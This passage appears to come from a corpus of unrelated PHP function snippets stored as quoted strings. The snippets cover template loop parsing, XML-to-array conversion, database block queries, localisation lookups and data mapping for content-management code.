genChildDbFieldTableTemplate() { return array(); }", "public static function parseArrays($template, $data, $output)\n {\n foreach ($data as $key => $value) {\n if (is_array($value) || ($value instanceof \\ArrayAccess) || ($value instanceof \\ArrayObject)) {\n $start = '[{' . $key . '}]';\n $end = '[{/' . $key . '}]';\n if ((strpos($template, $start) !== false) && (strpos($template, $end) !== false)) {\n $loopCode = substr($template, strpos($template, $start));\n $loopCode = substr($loopCode, 0, (strpos($loopCode, $end) + strlen($end)));\n\n $outputLoop = '';\n $i = 0;\n foreach ($value as $ky => $val) {\n $loop = str_replace($start, '', $loopCode);\n $loop = str_replace($end, '', $loop);\n if (strpos($loop, '[{if(') !== false) {\n $matches = [];\n preg_match_all('/\\[{if/mi', $loop, $matches, PREG_OFFSET_CAPTURE);\n\n if (isset($matches[0]) && isset($matches[0][0])) {\n foreach ($matches[0] as $match) {\n $cond = substr($loop, $match[1]);\n $cond = substr($cond, 0, strpos($cond, '[{/if}]') + 7);\n $var = substr($cond, strpos($cond, '(') + 1);\n $var = substr($var, 0, strpos($var, ')'));\n // If var is an array\n if (strpos($var, '[') !== false) {\n $index = substr($var, (strpos($var, '[') + 1));\n $index = substr($index, 0, strpos($index, ']'));\n $var = substr($var, 0, strpos($var, '['));\n $varSet = (!empty($val[$var][$index]));\n } else {\n $index = null;\n $varSet = (!empty($val[$var]));\n }\n if (strpos($cond, '[{else}]') !== false) {\n if ($varSet) {\n $code = substr($cond, (strpos($cond, ')}]') + 3));\n $code = substr($code, 0, strpos($code, '[{else}]'));\n $code = (null !== $index) ?\n str_replace('[{' . $var . '[' . $index . ']}]', $val[$var][$index], $code) :\n str_replace('[{' . $var . '}]', $val[$var], $code);\n $loop = str_replace($cond, $code, $loop);\n } else {\n $code = substr($cond, (strpos($cond, '[{else}]') + 8));\n $code = substr($code, 0, strpos($code, '[{/if}]'));\n $loop = str_replace($cond, $code, $loop);\n }\n } else {\n if ($varSet) {\n $code = substr($cond, (strpos($cond, ')}]') + 3));\n $code = substr($code, 0, strpos($code, '[{/if}]'));\n $code = (null !== $index) ?\n str_replace('[{' . $var . '[' . $index . ']}]', $val[$var][$index], $code) :\n str_replace('[{' . $var . '}]', $val[$var], $code);\n $loop = str_replace($cond, $code, $loop);\n } else {\n $loop = str_replace($cond, '', $loop);\n }\n }\n }\n }\n }\n\n // Handle nested array\n if (is_array($val) || ($value instanceof \\ArrayAccess) || ($val instanceof \\ArrayObject)) {\n if (is_numeric($ky)) {\n $oLoop = $loop;\n foreach ($val as $k => $v) {\n // Check is value is stringable\n if ((is_object($v) && method_exists($v, '__toString')) ||\n (!is_object($v) && !is_array($v))) {\n $oLoop = str_replace('[{' . $k . '}]', $v, $oLoop);\n }\n }\n if (strpos($oLoop, '[{i}]') !== false) {\n $oLoop = str_replace('[{i}]', ($i + 1), $oLoop);\n }\n $outputLoop .= $oLoop;\n } else {\n $s = '[{' . $ky . '}]';\n $e = '[{/' . $ky . '}]';\n if ((strpos($loop, $s) !== false) && (strpos($loop, $e) !== false)) {\n $l = $loop;\n $lCode = substr($l, strpos($l, $s));\n $lCode = substr($lCode, 0, (strpos($lCode, $e) + strlen($e)));\n\n $l = str_replace($s, '', $lCode);\n $l = str_replace($e, '', $l);\n $oLoop = '';\n $j = 1;\n\n foreach ($val as $k => $v) {\n // Check is value is stringable\n if ((is_object($v) && method_exists($v, '__toString')) ||\n (!is_object($v) && !is_array($v))) {\n if (strpos($l, '[{i}]') !== false) {\n $oLoop .= str_replace(['[{key}]', '[{value}]', '[{i}]'], [$k, $v, $j], $l);\n } else {\n $oLoop .= str_replace(['[{key}]', '[{value}]'], [$k, $v], $l);\n }\n $j++;\n }\n }\n $outputLoop = str_replace($lCode, $oLoop, $loop);\n }\n }\n // Handle scalar\n } else {\n // Check is value is stringable\n if ((is_object($val) && method_exists($val, '__toString')) ||\n (!is_object($val) && !is_array($val))) {\n if (strpos($loop, '[{i}]') !== false) {\n $outputLoop .= str_replace(['[{key}]', '[{value}]', '[{i}]'], [$ky, $val, ($i + 1)], $loop);\n } else {\n $outputLoop .= str_replace(['[{key}]', '[{value}]'], [$ky, $val], $loop);\n }\n }\n }\n $i++;\n if ($i < count($value)) {\n $outputLoop .= PHP_EOL;\n }\n }\n $output = str_replace($loopCode, $outputLoop, $output);\n }\n }\n }\n\n return $output;\n }", "function getDataListGroupTemplate( $html, $moduleName)\n\t{\n\t\t$dataRepeaterTemplate = SoondaUtil::getStringBetween( $html, \"<soo:datagroup$moduleName>\", \"</soo:datagroup$moduleName>\");\n\t\treturn $dataRepeaterTemplate;\n\t}", "function GetChildren($vals, &$i) {\n\t$children = array();\n\twhile (++$i < sizeof($vals)) {\n\t\tswitch ($vals[$i]['type']) {\n\t\t\tcase 'cdata':\n\t\t\t\t$children[] = $vals[$i]['value'];\n\t\t\t\tbreak;\n\t\t\tcase 'complete':\n\t\t\t\t$temp = array(\n\t\t\t\t'tag' => $vals[$i]['tag'],\n\t\t\t\t'attributes' => $vals[$i]['attributes'],\n\t\t\t\t'value' => $vals[$i]['value']\n\t\t\t\t);\n\t\t\t\t$children[] = $temp;\n\t\t\t\tbreak;\n\t\t\tcase 'open':\n\t\t\t\t$temp = array(\n\t\t\t\t'tag' => $vals[$i]['tag'],\n\t\t\t\t'attributes' => $vals[$i]['attributes'],\n\t\t\t\t'value' => $vals[$i]['value'],\n\t\t\t\t'children' => GetChildren($vals, $i)\n\t\t\t\t);\n\t\t\t\t$children[] = $temp;\n\t\t\t\tbreak;\n\t\t\tcase 'close':\n\t\t\t\treturn $children;\n\t\t}\n\t}\n}", "public function loadChildBlocksData(Block $block, ?string $placeholder = null): array\n {\n $query = $this->getBlockSelectQuery();\n $query->where(\n $query->expr()->eq('b.parent_id', ':parent_id')\n )\n ->setParameter('parent_id', $block->id, Type::INTEGER)\n ->addOrderBy('b.placeholder', 'ASC')\n ->addOrderBy('b.position', 'ASC');\n\n if ($placeholder !== null) {\n $query->andWhere(\n $query->expr()->eq('b.placeholder', ':placeholder')\n )\n ->setParameter('placeholder', $placeholder, Type::STRING);\n }\n\n $this->applyStatusCondition($query, $block->status, 'b.status');\n\n return $query->execute()->fetchAll(PDO::FETCH_ASSOC);\n }", "private function getCallerTemplate()\n {\n $template = ['value' => '', 'key' => 0];\n foreach ($this->backtrace as $k => $b) {\n $function = ifset($b, 'function', '');\n if (strpos($function, 'content_') !== false) {\n $file = basename($this->backtrace[$k - 1]['file']);\n $parts = explode('.', $file);\n if (ifset($parts, 1, '') == 'file') {\n unset($parts[0], $parts[1]);\n } else {\n unset($parts[0]);\n }\n $template_name = implode('.', $parts);\n $template_name = rtrim($template_name, '.php');\n $this->backtrace[$k - 1]['file'] = $template_name;\n $template['value'] = $template_name;\n $template['key'] = $k - 1;\n break;\n }\n }\n return $template;\n }", "function ou_df_grid_row($variables) {\n return '<div class=\"int-row\">' . $variables['element']['#children'] . '</div>';\n}", "public function getLanguageVariables($baseData): array {\n /*\n get name from previous set setting\n */\n $language = self::LANGUAGES[$baseData['settings'][0]['value']];\n\n $names = [];\n\n /*\n iterate over all available languages and fetch their localizationTable\n */\n foreach(self::TABLE_NAMES as $key => $value) {\n $names[$value['outputName']] = $value['localizationTable'];\n }\n\n /*\n add building localization\n */\n $names['buildings'] = 'buildingNames';\n\n foreach($names as $subArray => $tableName) {\n $query = 'SELECT `' . $language . '` FROM `' . $tableName . '`';\n\n $getLanguage = $this->_conn->query($query);\n\n if($getLanguage->num_rows > 0) {\n $index = 0;\n\n while($data = $getLanguage->fetch_assoc()) {\n foreach($data as $name) {\n if(strpos($name, '/') !== false) {\n [$name, $factoryName] = explode('/', $name);\n } else {\n $factoryName = '';\n }\n\n $baseData[$subArray][$index]['name'] = $name;\n if($factoryName !== '') {\n $baseData[$subArray][$index]['factoryName'] = $factoryName;\n }\n ++$index;\n }\n }\n }\n }\n\n return $baseData;\n }", "function get_nested_val($name){ // SYSTEM FUNCTION - DO NOT USE!\n\t$curr_var = $this->vars[$name];\n\tfor($c = 0; $c <= $this->system_vars['cycle_nesting']; $c++)\n\t\t$curr_var = $curr_var[$this->system_vars['cycle_counters'][$c]];\n\tif (is_array($curr_var)){\n\t\t$this->show_notice($name, 3);\n\t\t$curr_var = '<font color=\"red\"><b>INVALID</b></font>';\n\t}\n\treturn $curr_var;\n}", "public function map()\n {\n $mappedData = [];\n\n foreach ($this->rawData as $key => $value) {\n if (is_array($value)) {\n foreach ($value as $index => $field) {\n if ($id = getVal($field, ['id'], null)) {\n $mappedData[$index]['id'] = $id;\n }\n\n $mappedData[$index]['transaction'] = $this->template;\n $mappedData[$index]['activity_id'] = getVal($this->rawData, ['activity_id'], null);\n $mappedData[$index]['transaction']['reference'] = getVal($field, ['reference'], null);\n $mappedData[$index]['transaction']['transaction_type'][0]['transaction_type_code'] = getVal($this->rawData, ['type'], null);\n $mappedData[$index]['transaction']['transaction_date'][0]['date'] = getVal($field, ['date'], null);\n $mappedData[$index]['transaction']['value'][0]['amount'] = getVal($field, ['amount'], null);\n $mappedData[$index]['transaction']['value'][0]['currency'] = getVal($field, ['currency'], null);\n $mappedData[$index]['transaction']['value'][0]['date'] = getVal($field, ['date'], null);\n $mappedData[$index]['transaction']['description'][0]['narrative'][0]['narrative'] = getVal($field, ['description'], null);\n $mappedData[$index]['transaction']['receiver_organization'][0]['narrative'][0]['narrative'] = getVal($field, ['organisation'], null);\n }\n }\n }\n\n return $mappedData;\n }", "public function get_tpl_data() {\r\n $tpl_data = parent::get_tpl_data();\r\n $tpl_data['significance'] = $this->significance;\r\n return $tpl_data;\r\n }", "function _postProcess() {\r\n $item = current($this->_struct);\r\n \r\n $ret = array('_name'=>$item['tag'], '_attributes'=>array(), '_value'=>null);\r\n\r\n if (isset($item['attributes']) && count($item['attributes'])>0) {\r\n foreach ($item['attributes'] as $key => $data) {\r\n if (!is_null($data)) {\r\n $item['attributes'][$key] = str_replace($this->_replaceWith, $this->_replace, $item['attributes'][$key]);\r\n }\r\n }\r\n $ret['_attributes'] = $item['attributes'];\r\n if ($this->attributesDirectlyUnderParent)\r\n $ret = array_merge($ret, $item['attributes']);\r\n }\r\n\r\n if (isset($item['value']) && $item['value'] != null)\r\n $item['value'] = str_replace($this->_replaceWith, $this->_replace, $item['value']);\r\n \r\n switch ($item['type']) {\r\n case 'open':\r\n $children = array();\r\n while (($child = next($this->_struct)) !== FALSE ) {\r\n if ($child['level'] <= $item['level'])\r\n break;\r\n \r\n $subItem = $this->_postProcess();\r\n \r\n if (isset($subItem['_name'])) {\r\n if (!isset($children[$subItem['_name']]))\r\n $children[$subItem['_name']] = array();\r\n \r\n $children[$subItem['_name']][] = $subItem;\r\n }\r\n else {\r\n foreach ($subItem as $key=>$value) {\r\n if (isset($children[$key])) {\r\n if (is_array($children[$key]))\r\n $children[$key][] = $value;\r\n else\r\n $children[$key] = array($children[$key], $value);\r\n }\r\n else {\r\n $children[$key] = $value;\r\n }\r\n }\r\n }\r\n }\r\n \r\n if ($this->childTagsDirectlyUnderParent)\r\n $ret = array_merge($ret, $this->_condenseArray($children));\r\n else\r\n $ret['_value'] = $this->_condenseArray($children);\r\n \r\n break;\r\n case 'close':\r\n break;\r\n case 'complete':\r\n if (count($ret['_attributes']) > 0) {\r\n if (isset($item['value']))\r\n $ret['_value'] = $item['value'];\r\n }\r\n else {\r\n\t\t\tif (isset($item['value'])) {\r\n\t\t\t\t$ret = array($item['tag']=> $item['value']);\r\n\t\t\t} else {\r\n\t\t\t\t$ret = array($item['tag']=> \"\");\r\n\t\t\t}\r\n }\r\n break;\r\n }\r\n\r\n //added by Dan Coulter\r\n\r\n \r\n /*\r\n foreach ($ret as $key => $data) {\r\n if (!is_null($data) && !is_array($data)) {\r\n $ret[$key] = str_replace($this->_replaceWith, $this->_replace, $ret[$key]);\r\n }\r\n }\r\n */\r\n return $ret;\r\n }", "protected function parse($data)\n {\n $base = dirname(__FILE__) . '/Templates';\n\n $root = (string) $this->path;\n\n $callback = function (&$value) use ($base, $root)\n {\n $value = str_replace('$BASE$', $base, $value);\n\n $value = str_replace('$ROOT$', $root, $value);\n };\n\n array_walk_recursive($data, $callback);\n\n return $data;\n }", "private function getGroupTplData( $group ) {\n $g = esf_Auctions::$Groups[$group];\n return array(\n 'NAME' => $group,\n 'AUCTIONGROUP' => (!isset(esf_Auctions::$Auctions[$group]) ? $group : ''),\n 'QUANTITY' => $g['q'],\n 'BID' => $g['b'],\n 'TOTAL' => $g['t'],\n 'COMMENT' => $g['c'],\n 'COUNT' => $g['a'],\n 'ENDED' => ($g['r'] < 1),\n );\n }", "public function visitNamespaceData(\n /*INamespaceData*/ $node) /*: mixed*/ {\n $nested_namespaces = Vector {};\n foreach ($node->getNestedNamespaces() as $nested_namespaces_elem) {\n $nested_namespaces[] = /*(string)*/$nested_namespaces_elem->accept($this);\n }\n $types = Vector {};\n foreach ($node->getTypes() as $types_elem) {\n $types[] = /*(string)*/$types_elem->accept($this);\n }\n $functions = Vector {};\n foreach ($node->getFunctions() as $functions_elem) {\n $functions[] = /*(string)*/$functions_elem->accept($this);\n }\n\n $result = $this->visitVector($node->getComments(), $this->indent,\n \"\\n\".$this->indent, \"\\n\".$this->indent, '');\n $result .= 'namespace '.$node->getName().\" {\\n\";\n $this->indent .= ' ';\n $result .= $this->visitVector(\n $functions, $this->indent, \"\\n\\n\".$this->indent, \"\\n\\n\");\n $result .= $this->visitVector(\n $types, $this->indent, \"\\n\\n\".$this->indent, \"\\n\\n\");\n $result .= $this->visitVector(\n $nested_namespaces, $this->indent, \"\\n\\n\".$this->indent, \"\\n\\n\");\n $this->indent = /*(string)*/substr($this->indent, 2);\n $result .= \"\\n\".$this->indent.'}';\n\n return $result;\n }", "public static function get_block_data()\n {\n }", "public function prepareDataTemplate(iTemplate $template) {\n\t\t\t$hierarchy = umiHierarchy::getInstance();\n\n\t\t\t$data = array();\n\t\t\t$info = array();\n\t\t\t$info['attribute:id'] = $template->getId();\n\t\t\t$info['attribute:name'] = $template->getName();\n\t\t\t$info['attribute:title'] = $template->getTitle();\n\t\t\t$info['attribute:filename'] = $template->getFileName();\n\t\t\t$info['attribute:type'] = $template->getType();\n\t\t\t$info['attribute:lang-id'] = $template->getLangId();\n\t\t\t$info['attribute:domain-id'] = $template->getDomainId();\n\n\t\t\t$used_pages = $template->getUsedPages();\n\n\t\t\t$pages = array();\n\t\t\t$hierarchyTypes = array();\n\t\t\tforeach($used_pages as $element_info) {\n\t\t\t\t$element = $hierarchy->getElement($element_info[0]);\n\t\t\t\tif($element instanceof umiHierarchyElement) {\n\t\t\t\t\t$element_id = $element->getId();\n\t\t\t\t\t$page_arr['attribute:id'] = $element_id;\n\t\t\t\t\t$page_arr['xlink:href'] = \"upage://\" . $element_id;\n\t\t\t\t\t$elementTypeId = $element->getTypeId();\n\t\t\t\t\tif ( !isset($hierarchyTypes[$elementTypeId]) ) {\n\t\t\t\t\t\t$hierarchyTypes[$elementTypeId] = selector::get('hierarchy-type')->id($elementTypeId);\n\t\t\t\t\t}\n\t\t\t\t\t$page_arr['basetype'] = $hierarchyTypes[$elementTypeId];\n\t\t\t\t\t$page_arr['name'] = str_replace(\"\\\"\", \"\\\\\\\"\", $element->getName());\n\t\t\t\t\t$pages[] = $page_arr;\n\t\t\t\t}\n\t\t\t\t$hierarchy->unloadElement($element_info[0]);\n\t\t\t}\n\t\t\t$info['used-pages']['nodes:page'] = $pages;\n\t\t\t$data['template'] = $info;\n\t\t\treturn $data;\n\t\t}", "public function templateData() {\n return array();\n }", "function _buildArray() {\n\t$trunk = array();\n\n\tif (!isset($this->_indentSort[0])) {\n\t\treturn $trunk;\n\t}\n\n\tforeach ($this->_indentSort[0] as $n) {\n\t\tif (empty($n->parent)) {\n\t\t$this->_nodeArrayizeData($n);\n\t\t// Check for references and copy the needed data to complete them.\n\t\t$this->_makeReferences($n);\n\t\t// Merge our data with the big array we're building\n\t\t$trunk = $this->_array_kmerge($trunk,$n->data);\n\t\t}\n\t}\n\n\treturn $trunk;\n\t}", "private function templateDivChildren($parent_id)\n\t{\n\t\t$stmt = $this->stmtTemplate();\n\t\t$stmt->bindValue(':site_id', $this->site_id, PDO::PARAM_INT);\n\t\t$stmt->bindValue(':template_id', $this->template_id, PDO::PARAM_INT);\n\t\t$stmt->bindValue(':parent_id', $parent_id, PDO::PARAM_INT);\n\t\t$stmt->execute();\n\n\t\t$result = $stmt->fetchAll();\n\n\t\t$children = array();\n\n\t\tif(count($result) > 0) {\n\t\t\tforeach($result as $row) {\n\t\t\t\t$div = array('id'=>$row['id'],\n\t\t\t\t\t'sizes'=>array('width'=>$row['width'],\n\t\t\t\t\t\t'height'=>$row['height'],\n\t\t\t\t\t\t'design_height'=>$row['design_height'],\n\t\t\t\t\t\t'fixed'=>$row['fixed']));\n\n\t\t\t\t$div['children'] = $this->templateDivChildren($row['id']);\n\n\t\t\t\t$children[] = $div;\n\t\t\t}\n\t\t}\n\n\t\treturn $children;\n\t}", "function get_fancy_data($data)\n {\n /*\n * Initialize value\n */\n $collection = array();\n $basemodel = NULL;\n $i = 0;\n\n /*\n * Outer loop to run untill the data array end\n */\n foreach ($data as $k => $v) {\n /* Ndoe generator */\n $node = array();\n\n /*\n * Preserver first instance of the row in to a dummy variable\n */\n foreach ($v as $key => $val) {\n if (!is_numeric($key)) {\n $keys = explode(\".\", $key);\n $basemodel = isset($basemodel) ? $basemodel : $keys[0];\n $node[$keys[0]][$keys[1]] = $val;\n }\n }\n\n /*\n * Collect the first node baded model id\n */\n $key_cur = isset($key_cur) ? $key_cur : $v[\"$basemodel.id\"];\n\n /*\n * Set the values in correct place of the the node array\n */\n foreach ($node as $y => $z) {\n if ($y == $basemodel) {\n /* For princilple model it save in to a single array */\n $collection[$v[\"$basemodel.id\"]][$y] = $z;\n }\n else {\n if (implode(\"\", $z) != \"\") {\n /* For relational model it save in to a nulti dymantional array array */\n $collection[$v[\"$basemodel.id\"]][$y][] = $z;\n }\n else if (!isset($collection[$v[\"$basemodel.id\"]][$y])) {\n /* Create an empty array of no data found in a relational model */\n $collection[$v[\"$basemodel.id\"]][$y] = array();\n }\n }\n }\n\n /*\n * Reset the array index in a normal sequence\n */\n if ($key_cur != $v[\"$basemodel.id\"]) {\n $collection[$i++] = $collection[$key_cur];\n unset($collection[$key_cur]);\n $key_cur = $v[\"$basemodel.id\"];\n }\n }\n\n /* Reset the last node of the array */\n $collection[$i] = $collection[$key_cur];\n unset($collection[$key_cur]);\n\n return $collection;\n }", "private function generateIblockPropValReference($iblockProp):array\n {\n $hlRes = HighloadBlockTable::getList(\n [\n \"select\" => [\n \"ID\",\n ],\n \"filter\" => [\n 'TABLE_NAME' => $iblockProp['USER_TYPE_TABLE_NAME'],\n ],\n ]\n );\n $arHlBlock = $hlRes->fetch();\n\n if (empty($arHlBlock))\n throw new GeneratorException(\"Hl iblock shouldn't be emppty!\");\n\n $hlBlock = HighloadBlockTable::getById($arHlBlock['ID'])->fetch();\n $entity = HighloadBlockTable::compileEntity($hlBlock);\n $entityClass = $entity->getDataClass();\n if ($iblockProp['MULTIPLE'] == \"Y\") {\n $rsValue = $entityClass::getList(\n [\n 'select' => ['ID', 'UF_XML_ID'],\n 'filter' => ['!UF_XML_ID' => false],\n 'limit' => $this->config['property_multiple_count'],\n 'order' => ['RAND' => 'ASC'],\n 'runtime' => [\n new ExpressionField('RAND', 'RAND()'),\n ],\n ]\n );\n $val = [];\n while ($arValue = $rsValue->fetch()) {\n if (!empty($arValue) && $arValue['UF_XML_ID']) {\n $val[] = $arValue['UF_XML_ID'];\n }\n }\n } else {\n $rsValue = $entityClass::getList(\n [\n 'select' => ['ID', 'UF_XML_ID'],\n 'filter' => ['!UF_XML_ID' => false],\n 'limit' => 1,\n 'order' => ['RAND' => 'ASC'],\n 'runtime' => [\n new ExpressionField('RAND', 'RAND()'),\n ],\n ]\n );\n $arValue = $rsValue->fetch();\n if (!empty($arValue) && $arValue['UF_XML_ID']) {\n $val = $arValue['UF_XML_ID'];\n }\n }\n\n return $val;\n }", "public function prepareDataTemplates($inputData) {\n\t\t\t$data = array();\n\t\t\t$domainsCollection = domainsCollection::getInstance();\n\n\t\t\t$domains = array();\n\t\t\tforeach($inputData as $host => $templates) {\n\t\t\t\t$domain = array();\n\t\t\t\t$domain['attribute:id'] = $domainsCollection->getDomainId($host);\n\t\t\t\t$domain['attribute:host'] = $host;\n\t\t\t\t$domain['nodes:template'] = $templates;\n\t\t\t\t$domains[] = $domain;\n\t\t\t}\n\t\t\t$data['nodes:domain'] = $domains;\n\t\t\treturn $data;\n\t\t}", "private function getArrayName($parentName)\n {\n return $parentName;\n }", "public function render(){\n\t\t$data = array();\n\n\t\tforeach($this->fields as $fieldName => $field){\n\t\t\t$field->invokeContents($field->getValue(), $field);\n\t\t\t$data[$fieldName] = $this->renderTag($field);\n $data['fieldData'][$fieldName] = $this->renderArray($field);\n\t\t}\n $data['namespace'] = $this->settings['namespace'];\n\t\t$data['errors'] = $this->getMessageBag()->get(\"errors\");\n\t\t$data['messages'] = $this->getMessageBag()->get(\"messages\");\n $data['fieldData'] = substr(json_encode($data['fieldData']), 1, -1); // <-- remove outer curly's for IDE\n\n\t\treturn $data;\n\t}", "function content_areas($template)\r\n\t{\r\n\t\t$websitepath = $this->website_path;\r\n\t\t$theme = $this->theme;\r\n\t\t$directory = $_SERVER['DOCUMENT_ROOT'].$websitepath.'themes/'.$theme.''.$template;\r\n\r\n\t\tif(file_exists($directory))\r\n\t\t{\r\n\t\t\t$myFile = $directory;\r\n\t\t\t$fh = fopen($myFile, 'r');\r\n\t\t\t$theData = fread($fh, filesize($myFile));\r\n\t\t\tfclose($fh);\r\n\r\n\t\t\t//$theDataArray = explode('$CMS->Content(',$theData);\t\t\r\n\t\t\t$theDataArray = explode('$CMS->Content(',$theData);\t\t\t\r\n\t\t\t\r\n\t\t\t$anum = count($theDataArray);\r\n\t\t\t//echo \"BEFORE LOOP COUNT: $anum<br>\";\r\n\t\t\t$a = 0;\r\n\t\t\t$g = 0;\r\n\t\t\t$i = 0;\r\n\t\t\t$f = 0;\r\n\t\t\t\r\n\t\t\twhile($a<$anum)\r\n\t\t\t{\r\n\t\t\t\t$theContentArray = explode(\");\",$theDataArray[$a]);\r\n\t\t\t\t$bnum = count($theContentArray);\r\n\t\t\t\t//echo \"Loop 1: $a <br />\";\r\n\t\t\t\t//echo \"VARIABLE BEING EXPLODED:<br>{{\".substr($theDataArray[$a],0,200).\"}} <br />\";\r\n\t\t\t\t//echo \"COUNT ARRAY:\".$bnum.\" <br /><br>\";\r\n\t\t\t\t\r\n\t\t\t\tif($bnum >= 2)\r\n\t\t\t\t{\r\n\t\t\t\t\t$theFunctionArray = explode(\",\",$theContentArray[0]);\r\n\t\t\t\t\t$cnum = count($theFunctionArray);\r\n\t\t\t\t\t//echo \"Loop2: $g<br />\";\r\n\t\t\t\t\t//echo \"NEW VARIABLE BEING EXPLODED:<br>\";\r\n\t\t\t\t\t//echo \"{{\".substr($theContentArray[0],0,200).\"}} <br />\";\r\n\t\t\t\t\t//echo \"COUNT ARRAY:\".$cnum.\" <br /><br>\";\r\n\t\t\t\t\t\r\n\t\t\t\t\tif(strpos($theContentArray[0], \",'\")){\t\t\t\t\t\t\r\n\t\t\t\t\t\t$contentarray[$a]['name'] = $theFunctionArray[1];\r\n\t\t\t\t\t\t$contentarray[$a]['order'] = $theFunctionArray[0];\r\n\t\t\t\t\t\t//echo \"VAR: \".$contentarray[$i]['name'].\"<br>\";\r\n\t\t\t\t\t\t//echo \"NAME: \".$contentarray[$a]['name'].\"<br>\";\r\n\t\t\t\t\t\t//echo \"Order: \".$contentarray[$a]['order'].\"<br><br>\";\r\n\t\t\t\t\t\t$f++;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$g++;\r\n\t\t\t\t}\r\n\t\t\t\t$a++;\r\n\t\t\t}//END while\r\n\t\t}\r\n\t\t//exit();\r\n\t\treturn $contentarray;\r\n\t}", "function serialize() {\n\n $op = '$newSectionTag = new SM_sectionTag(\\''.$this->sectionName.'\\');'.\"\\n\";\n foreach ($this->varList as $sectionID => $vData) {\n foreach ($vData as $varName => $varTag) {\n if (is_array($varTag)) {\n foreach ($varTag as $realTag) {\n $op .= $realTag->serialize();\n $op .= '$newSectionTag->varList[\\''.$sectionID.'\\'][\\''.$varName.'\\'][] = $newVarTag;'.\"\\n\";\n }\n }\n else {\n $op .= $varTag->serialize();\n $op .= '$newSectionTag->varList[\\''.$sectionID.'\\'][\\''.$varName.'\\'] = $newVarTag;'.\"\\n\";\n }\n }\n }\n return $op;\n }", "public function getDataWithTypeParentRecordNumber() {}", "public function fillBottomArrCurSection()\r\n\t\t \r\n\t\t {\r\n\t\t\t\t\r\n\t\t\t\t$key=\"botton_cur_section_array_\".$this->section;\r\n\t\t\t\t\r\n\t\t\t\t \r\n\t\t\t\t$this->BottomArrCurSection = Yii::$app->cache->get($key);\r\n\t\t\t \r\n\r\n\t\t\t\t\t\tif ($this->BottomArrCurSection === false) {\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\r\n\t\t\t\t\t\t\t\t\t\r\n $this->getChildrenForSection($this->section);\r\n\t\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t\t\t\t // print_r($this->BottomArrCurSection);\r\n\t\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t\t\t\t//$this->BottomArrCurSection=$inArray;\r\n\r\n\t\t\t\t\t\t\t\t\t//Yii::$app->cache->set($key, $treeArray);\r\n\t\t\t\t }\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t \r\n\t\t\t \r\n\t\t\t \r\n\t\t\t \r\n\t\t\t \r\n\t\t\t \r\n\t\t }", "protected function _getVarsLoopPrint($arr)\n\t{\n\t\t$varsPrint = &$arr['varsPrint'];\n\t\t$varsPrintItem = $arr['varsItem']['varsPrintItem'];\n\t\tif ($arr['varsFlag']['flagFS'] == 'BS' && $arr['varsFlag']['flagFiscalPeriod'] == 'f1') {\n\t\t\t$varsPrintItem = $arr['varsItem']['varsPrintItemBS'];\n\t\t}\n\n\t\t$array = &$arr['varsFS'];\n\t\tforeach ($array as $key => $value) {\n\n\t\t\t$arrLevel = preg_split(\"/-/\", $value['id']);\n\t\t\t$num = count($arrLevel) - 2;\n\t\t\t$strLevel = '';\n\t\t\tfor ($i = 0 ; $i < $num; $i++) {\n\t\t\t\t$strLevel .= $arr['varsData']['strBlank'];\n\t\t\t}\n\n\t\t\t$value['varsPrint']['strTitle'] = $strLevel . $value['varsPrint']['strTitle'];\n\n\t\t\t$tmplRow = $varsPrint['varsDetailTmpl'];\n\t\t\t$tmplRow['id'] = $arr['varsFlag']['flagFS'] . $value['id'];\n\t\t\t$strFirst = '';\n\t\t\tif ($arr['flagFirst']) {\n\t\t\t\t$arr['flagFirst'] = 0;\n\t\t\t\t$strFirst = $varsPrintItem['tmplRow']['tmplTrTop'];\n\t\t\t\tif ($arr['flagCount']) {\n\t\t\t\t\t$tmplRow['flagBreak'] = 1;\n\t\t\t\t\t$tmplRow['idTmplTableTop'] = 'tmplTableTop';\n\t\t\t\t}\n\t\t\t\t$tmplRow['strTitle'] = $arr['varsData']['strTitle'];\n\t\t\t\t$tmplRow['strPeriodSub'] = $arr['varsData']['strPeriodSub'];\n\t\t\t\t$tmplRow['strTitleSub'] = $arr['varsData']['strTitleSub'];\n\t\t\t\t$tmplRow['strUnit'] = $arr['varsData']['strUnit'];\n\t\t\t}\n\t\t\t$tmplRow['numTr'] = 1;\n\t\t\t$tmplRow['strRow'] = $strFirst . $this->_getVarsHtml(array(\r\n\t\t\t\t'varsData' => $arr['varsData'],\r\n\t\t\t\t'value' => $value['varsPrint'],\r\n\t\t\t\t'tmplStr' => $varsPrintItem['tmplRow']['tmplTr1'],\r\n\t\t\t));\n\n\n\n\t\t\tif (!$value['varsPrint']['flagHide']) {\n\t\t\t\t$varsPrint['varsDetail'][] = $tmplRow;\n\t\t\t}\n\n\t\t\tif ($value['child']) {\n\t\t\t\t$data = $this->_getVarsLoopPrint(array(\n\t\t\t\t\t'varsFS' => $array[$key]['child'],\n\t\t\t\t\t'flagCount' => $arr['flagCount'],\n\t\t\t\t\t'flagFirst' => $arr['flagFirst'],\n\t\t\t\t\t'varsData' => $arr['varsData'],\n\t\t\t\t\t'varsPrint' => $arr['varsPrint'],\n\t\t\t\t\t'vars' => $arr['vars'],\n\t\t\t\t\t'varsItem' => $arr['varsItem'],\n\t\t\t\t\t'varsFlag' => $arr['varsFlag'],\n\t\t\t\t));\n\t\t\t\t$varsPrint = $data['varsPrint'];\n\t\t\t}\n\t\t}\n\n\t\treturn $arr;\n\t}", "protected function getNamespace()\n {\n // return Namespace from the Config file of the Block if it is an extension. Used for Extensions.\n if (isset( $this->config['namespace'])) {\n return $this->config['namespace'];\n }\n\n // return Namespace from Config file if exists;\n if (phpb_config('theme.namespace')) {\n return phpb_config('theme.namespace');\n }\n\n // get namespace from directory structure if not provided:\n $themesPath = phpb_config('theme.folder');\n $themesFolderName = basename($themesPath);\n $blockFolder = $this->getFolder();\n $namespacePath = $themesFolderName . str_replace($themesPath, '', $blockFolder);\n\n // convert each character after a - to uppercase\n $namespace = implode('-', array_map('ucfirst', explode('-', $namespacePath)));\n // convert each character after a _ to uppercase\n $namespace = implode('_', array_map('ucfirst', explode('-', $namespace)));\n // convert each character after a / to uppercase\n $namespace = implode('/', array_map('ucfirst', explode('/', $namespace)));\n // remove all dashes\n $namespace = str_replace('-', '', $namespace);\n // 